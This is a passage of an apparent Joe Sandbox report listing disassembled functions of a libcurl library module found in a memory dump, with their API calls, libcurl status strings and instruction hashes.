                                                                                                                                      • String ID: %zx%s$Moving trailers state machine from initialized to sending.$Read callback asked for PAUSE when not supported!$Signaling end of chunked upload after trailers.$Signaling end of chunked upload via terminating chunk.$Successfully compiled trailers.$operation aborted by callback$operation aborted by trailing headers callback$read function returned funny value
                                                                                                                                      • API String ID: 2651734479-586909597
                                                                                                                                      • Opcode ID: b8476752fa37dc1528413a87563d8daec2451711171b18c47558b208908bfecf
                                                                                                                                      • Instruction ID: 697a3f7da32e0d98c244eed9b9e4374a471cfe67c8ae481bad2e27dfd5bba875
                                                                                                                                      • Opcode Fuzzy Hash: b8476752fa37dc1528413a87563d8daec2451711171b18c47558b208908bfecf
                                                                                                                                      • Instruction Fuzzy Hash: D9A10BB1E04205EBDB04CF74DC82BEEFBB8AF05324F00069AD85EAB240D77965559BE1
                                                                                                                                      Function 6BD8B160 Relevance: 21.3, APIs: 14, Instructions: 267COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BDA27F0: curl_slist_free_all.LIBCURL(?,?), ref: 6BDA2801
                                                                                                                                        • Part of subcall function 6BDA27F0: curl_slist_free_all.LIBCURL(?), ref: 6BDA2812
                                                                                                                                      • curl_mime_init.LIBCURL(?,?,?), ref: 6BD8B187
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_slist_free_all$curl_mime_init
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2112604817-0
                                                                                                                                      • Opcode ID: 5177c08b82edd762dc15c28e680707a37c27e0f513b5d3ae3d01d2be6edf82a3
                                                                                                                                      • Instruction ID: d86cc55ff63ca306a75900026d9f78b05301089e5d2215f515de050a6cb70acc
                                                                                                                                      • Opcode Fuzzy Hash: 5177c08b82edd762dc15c28e680707a37c27e0f513b5d3ae3d01d2be6edf82a3
                                                                                                                                      • Instruction Fuzzy Hash: 20810672E04A15ABC7114F64DC41B6AB7A9EF05336F0502A4EC48AF391E32FEE1597E0
                                                                                                                                      Function 6BD8BF20 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 383COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_easy_strerror.LIBCURL(00000000), ref: 6BD8C103
                                                                                                                                      Strings
                                                                                                                                      • Received only partial file: %I64d bytes, xrefs: 6BD8C417
                                                                                                                                      • Exceeded storage allocation, xrefs: 6BD8C2B3
                                                                                                                                      • Failure sending ABOR command: %s, xrefs: 6BD8C109
                                                                                                                                      • server did not report OK, got %d, xrefs: 6BD8C29E
                                                                                                                                      • ABOR, xrefs: 6BD8C0E6
                                                                                                                                      • Uploaded unaligned file size (%I64d out of %I64d bytes), xrefs: 6BD8C382
                                                                                                                                      • control connection looks dead, xrefs: 6BD8C20D
                                                                                                                                      • Remembering we are in dir "%s", xrefs: 6BD8C082
                                                                                                                                      • partial download completed, closing connection, xrefs: 6BD8C25B
                                                                                                                                      • No data was received!, xrefs: 6BD8C3FD
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_easy_strerror
                                                                                                                                      • String ID: ABOR$Exceeded storage allocation$Failure sending ABOR command: %s$No data was received!$Received only partial file: %I64d bytes$Remembering we are in dir "%s"$Uploaded unaligned file size (%I64d out of %I64d bytes)$control connection looks dead$partial download completed, closing connection$server did not report OK, got %d
                                                                                                                                      • API String ID: 1399792982-944385548
                                                                                                                                      • Opcode ID: 3edafaad078c5d29f00a9792505fd849c7820049eee8140cc787e7e8092bea31
                                                                                                                                      • Instruction ID: 60d1d92e548f02e88de1cc1ee0ff99e1814c89b1f429157c0db156ed47c78861
                                                                                                                                      • Opcode Fuzzy Hash: 3edafaad078c5d29f00a9792505fd849c7820049eee8140cc787e7e8092bea31
                                                                                                                                      • Instruction Fuzzy Hash: 2EE122B1904744EBEB11CF68C880B9A3BF5AF41336F1C42A9E8595F282D7399641DB71
                                                                                                                                      Function 6BDE5D4F Relevance: 19.6, APIs: 13, Instructions: 88COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • _free.LIBCMT ref: 6BDE5D6C
                                                                                                                                        • Part of subcall function 6BDDF7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0), ref: 6BDDF800
                                                                                                                                        • Part of subcall function 6BDDF7EA: GetLastError.KERNEL32(6BE038A0,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0,6BE038A0), ref: 6BDDF812
                                                                                                                                      • _free.LIBCMT ref: 6BDE5D7E
                                                                                                                                      • _free.LIBCMT ref: 6BDE5D90
                                                                                                                                      • _free.LIBCMT ref: 6BDE5DA2
                                                                                                                                      • _free.LIBCMT ref: 6BDE5DB4
                                                                                                                                      • _free.LIBCMT ref: 6BDE5DC6
                                                                                                                                      • _free.LIBCMT ref: 6BDE5DD8
                                                                                                                                      • _free.LIBCMT ref: 6BDE5DEA
                                                                                                                                      • _free.LIBCMT ref: 6BDE5DFC
                                                                                                                                      • _free.LIBCMT ref: 6BDE5E0E
                                                                                                                                      • _free.LIBCMT ref: 6BDE5E20
                                                                                                                                      • _free.LIBCMT ref: 6BDE5E32
                                                                                                                                      • _free.LIBCMT ref: 6BDE5E44
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _free$ErrorFreeHeapLast
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 776569668-0
                                                                                                                                      • Opcode ID: e2314e62625baef12a93e7415dd2f7204c4342e169e36e80c039fcfceffa34c9
                                                                                                                                      • Instruction ID: 96c68557bdcf063e8733bd2c0f112447597ee3237836b2442b1c9619cd785122
                                                                                                                                      • Opcode Fuzzy Hash: e2314e62625baef12a93e7415dd2f7204c4342e169e36e80c039fcfceffa34c9
                                                                                                                                      • Instruction Fuzzy Hash: A92104B1904605EBCA14DFB8E4DAC5B73E9BB15378360084EE199DF540CB39F8919AB4
                                                                                                                                      Function 6BDBACC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 141libraryloaderCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32,?,00000002,6BDBAEAE), ref: 6BDBACCE
                                                                                                                                      • GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 6BDBACE8
                                                                                                                                      • _strpbrk.LIBCMT ref: 6BDBACFC
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: AddressHandleModuleProc_strpbrk
                                                                                                                                      • String ID: AddDllDirectory$LoadLibraryExA$kernel32
                                                                                                                                      • API String ID: 1657965159-3327535076
                                                                                                                                      • Opcode ID: 745d08b151850af6220fa2ffca03c64680625ad10808b3057124079f61c3f016
                                                                                                                                      • Instruction ID: 8354ad700f546c78d56b427b463ec012c19022e02ed655867c0621ffdc09210c
                                                                                                                                      • Opcode Fuzzy Hash: 745d08b151850af6220fa2ffca03c64680625ad10808b3057124079f61c3f016
                                                                                                                                      • Instruction Fuzzy Hash: 8641F675604301ABEF014F789C847A9BB69EF42336F1041EAEC4A9F241FE76D5065750
                                                                                                                                      Function 6BDDD7CA Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BDDD46B: CreateFileW.KERNEL32(00000000,00000000,?,6BDDD873,?,?,00000000,?,6BDDD873,00000000,0000000C), ref: 6BDDD488
                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BDDD8DE
                                                                                                                                      • __dosmaperr.LIBCMT ref: 6BDDD8E5
                                                                                                                                      • GetFileType.KERNEL32(00000000), ref: 6BDDD8F1
                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BDDD8FB
                                                                                                                                      • __dosmaperr.LIBCMT ref: 6BDDD904
                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 6BDDD924
                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 6BDDDA71
                                                                                                                                      • GetLastError.KERNEL32 ref: 6BDDDAA3
                                                                                                                                      • __dosmaperr.LIBCMT ref: 6BDDDAAA
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                                                                      • String ID: H
                                                                                                                                      • API String ID: 4237864984-2852464175
                                                                                                                                      • Opcode ID: 6c477518e8a4a59518dd1692ad71ce87b48dae10c0275f4cb20a949c3926f0c8
                                                                                                                                      • Instruction ID: 1a083978b821ceff450061ccbe9036aa729aa2c9736dd4f314498ea1e89380f0
                                                                                                                                      • Opcode Fuzzy Hash: 6c477518e8a4a59518dd1692ad71ce87b48dae10c0275f4cb20a949c3926f0c8
                                                                                                                                      • Instruction Fuzzy Hash: 21A10232A441549FCF19DF78C891BAE3BB1AB0A334F14019DE891AF391DB39D916CB61
                                                                                                                                      Function 6BD8DBC0 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 186COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000018,%04d%02d%02d %02d:%02d:%02d GMT,?,?,?,?,?,?), ref: 6BD8DC9D
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000080,Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT,?,?,?,?,?,?), ref: 6BD8DD74
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      Strings
                                                                                                                                      • Skipping time comparison, xrefs: 6BD8DE44
                                                                                                                                      • The requested document is not new enough, xrefs: 6BD8DDF0
                                                                                                                                      • %04d%02d%02d%02d%02d%02d, xrefs: 6BD8DC58
                                                                                                                                      • unsupported MDTM reply format, xrefs: 6BD8DBFA
                                                                                                                                      • Given file does not exist, xrefs: 6BD8DC0D
                                                                                                                                      • %04d%02d%02d %02d:%02d:%02d GMT, xrefs: 6BD8DC95
                                                                                                                                      • The requested document is not old enough, xrefs: 6BD8DE3D
                                                                                                                                      • Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 6BD8DD69
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_msnprintf$curl_mvsnprintf
                                                                                                                                      • String ID: %04d%02d%02d %02d:%02d:%02d GMT$%04d%02d%02d%02d%02d%02d$Given file does not exist$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT$Skipping time comparison$The requested document is not new enough$The requested document is not old enough$unsupported MDTM reply format
                                                                                                                                      • API String ID: 405648482-226030088
                                                                                                                                      • Opcode ID: 431c9d2ed1e7c561d046771d5d771f3ab72e7b007042e933d068936c84e0dd97
                                                                                                                                      • Instruction ID: f3244b1a12dc4141517f804a738de9b030810d80d2a1c0bed9db48f819a7f9ce
                                                                                                                                      • Opcode Fuzzy Hash: 431c9d2ed1e7c561d046771d5d771f3ab72e7b007042e933d068936c84e0dd97
                                                                                                                                      • Instruction Fuzzy Hash: 3E61B271940304EBEB11CB64CC81FDAB7FAAB45325F0440DEE55DAE180EB39AA44CB61
                                                                                                                                      Function 6BDAD9D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 144COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDADA0F
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDADA4D
                                                                                                                                      • curl_msnprintf.LIBCURL(6BD91696,00000009,%2I64d:%02I64d:%02I64d,6BD91696,?,00000000,?,?,6BD91696,?,6BD91696,0000003C,00000000,00000000,?,00000E10), ref: 6BDADAA5
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDADABD
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDADAF2
                                                                                                                                      • curl_msnprintf.LIBCURL(6BD91696,00000009,%3I64dd %02I64dh,00000000,6BD91696,00000000,?,?,6BD91696,00000E10,00000000,00000000,?,00015180,00000000,?), ref: 6BDADB07
                                                                                                                                      • curl_msnprintf.LIBCURL(6BD91696,00000009,%7I64dd,00000000,?,?,6BD91696,00015180,00000000,?,6BD91696,00000E10,00000000,?,6BD91696,?), ref: 6BDADB22
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_msnprintf
                                                                                                                                      • String ID: %2I64d:%02I64d:%02I64d$%3I64dd %02I64dh$%7I64dd
                                                                                                                                      • API String ID: 2752550610-564197712
                                                                                                                                      • Opcode ID: 3ecdb6b30ed288d6e043468ad7ed73e2a1e1cb41e584d2b02641515d27228710
                                                                                                                                      • Instruction ID: 577c75d77f3099d043f641dd15901d76e36e3a2789da7fe584cf931bb7ec7517
                                                                                                                                      • Opcode Fuzzy Hash: 3ecdb6b30ed288d6e043468ad7ed73e2a1e1cb41e584d2b02641515d27228710
                                                                                                                                      • Instruction Fuzzy Hash: D541D373B802587AEB204E6DDC52FAFBBADDB84664F050175FD08AF190D6759E1142A0
                                                                                                                                      Function 6BDBA0E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetLastError.KERNEL32(?,?,00000100), ref: 6BDBA0E7
                                                                                                                                      • _strncpy.LIBCMT ref: 6BDBA12D
                                                                                                                                      • _strrchr.LIBCMT ref: 6BDBA16D
                                                                                                                                      • _strrchr.LIBCMT ref: 6BDBA188
                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 6BDBA1B3
                                                                                                                                      • SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 6BDBA1C1
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast$_strrchr$_strncpy
                                                                                                                                      • String ID: Unknown error %d (%#x)
                                                                                                                                      • API String ID: 1320708361-2414550090
                                                                                                                                      • Opcode ID: 8dab53ae332df09b9c4b982db62f137a417e0a9614beef9f1f6e127c0351f1c3
                                                                                                                                      • Instruction ID: 41a55eabf036541343e86adb0f37f98c9fcbbd704acc0212b8fe64b97ec308fd
                                                                                                                                      • Opcode Fuzzy Hash: 8dab53ae332df09b9c4b982db62f137a417e0a9614beef9f1f6e127c0351f1c3
                                                                                                                                      • Instruction Fuzzy Hash: 8E21B6B5A04218BBD7015B755C81B6F77ACDF563B9F1000A5F8469F241EF39DA0193B2
                                                                                                                                      Function 6BDDE10C Relevance: 13.8, APIs: 9, Instructions: 301COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID:
                                                                                                                                      • Opcode ID: 9040a81108c11ff1379143bc7b081d7676d9b8cde93f836bb5c581abf38f36b2
                                                                                                                                      • Instruction ID: 911c250c4144f30ed7de1e01b762fabc4a932e62ad12061847ead7e403a213d0
                                                                                                                                      • Opcode Fuzzy Hash: 9040a81108c11ff1379143bc7b081d7676d9b8cde93f836bb5c581abf38f36b2
                                                                                                                                      • Instruction Fuzzy Hash: B9C1EF75E14205EFDF05CFA9C880BADBBB0AF4A324F004199E894AF381C779DA41CB61
                                                                                                                                      Function 6BD8A760 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 367COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      • failed to resume file:// transfer, xrefs: 6BD8AC25
                                                                                                                                      • Accept-ranges: bytes, xrefs: 6BD8A8AC
                                                                                                                                      • Can't get the size of file., xrefs: 6BD8A9CE
                                                                                                                                      • Content-Length: %I64d, xrefs: 6BD8A87D
                                                                                                                                      • Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s, xrefs: 6BD8A935
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ___from_strstr_to_strchr
                                                                                                                                      • String ID: Accept-ranges: bytes$Can't get the size of file.$Content-Length: %I64d$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s$failed to resume file:// transfer
                                                                                                                                      • API String ID: 601868998-1509146019
                                                                                                                                      • Opcode ID: f1eef5923493afca2de9330ed54a1b3b24842b6c023fb5191d20aad74f2fc9f0
                                                                                                                                      • Instruction ID: 09157c3c94ccefd1d8c205d7d8cbe5cc49d81d5018fee7bcf4338e3486560b8e
                                                                                                                                      • Opcode Fuzzy Hash: f1eef5923493afca2de9330ed54a1b3b24842b6c023fb5191d20aad74f2fc9f0
                                                                                                                                      • Instruction Fuzzy Hash: E4D1C575E042189BEB208B74DC41BEEB7B5AF45325F0440E9D90DAF291EB395E84CF61
                                                                                                                                      Function 6BD8D3D0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 250COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      • Request has same path as previous transfer, xrefs: 6BD8D68E
                                                                                                                                      • Uploading to a URL without a file name!, xrefs: 6BD8D5EB
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ___from_strstr_to_strchr_strncpy$_strrchr
                                                                                                                                      • String ID: Request has same path as previous transfer$Uploading to a URL without a file name!
                                                                                                                                      • API String ID: 2378022753-131330169
                                                                                                                                      • Opcode ID: 574a47ad4cff779d3eba73f2d2283325dedc9a4bcf9e500cf2e3958944e7cf15
                                                                                                                                      • Instruction ID: 0e8e325f51f09e17be1fb1448cbad03ba3fb86986c48d9db913314ffb10ef846
                                                                                                                                      • Opcode Fuzzy Hash: 574a47ad4cff779d3eba73f2d2283325dedc9a4bcf9e500cf2e3958944e7cf15
                                                                                                                                      • Instruction Fuzzy Hash: 3D91FC70E44206EBDB048F74D845B9A7FB5EF02369F0041AEE84D5F281DB3AE654DBA1
                                                                                                                                      Function 6BD86600 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 223COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_mfprintf.LIBCURL(?,%s,00000000), ref: 6BD8679A
                                                                                                                                      Strings
                                                                                                                                      • # Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 6BD86707
                                                                                                                                      • %s, xrefs: 6BD86792
                                                                                                                                      • %s.%s.tmp, xrefs: 6BD866C1
                                                                                                                                      • ## Fatal libcurl error, xrefs: 6BD867F5
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_mfprintf
                                                                                                                                      • String ID: ## Fatal libcurl error$# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s$%s.%s.tmp
                                                                                                                                      • API String ID: 8901498-4087121635
                                                                                                                                      • Opcode ID: 97e828d888f7c907a8ef37abe40bd1a8e46e05d37c4d3ee81423d04ccbe2ec4f
                                                                                                                                      • Instruction ID: f211660414fa9c8c51deb3cac1e96fa56f8801b8637a6d71200094557b500156
                                                                                                                                      • Opcode Fuzzy Hash: 97e828d888f7c907a8ef37abe40bd1a8e46e05d37c4d3ee81423d04ccbe2ec4f
                                                                                                                                      • Instruction Fuzzy Hash: 206127B1E102499BDF008FB49C927BF7BB5DF05239F0400A9DC49AF241DB2E9A1987B1
                                                                                                                                      Function 6BD8D8E0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 180COMMON
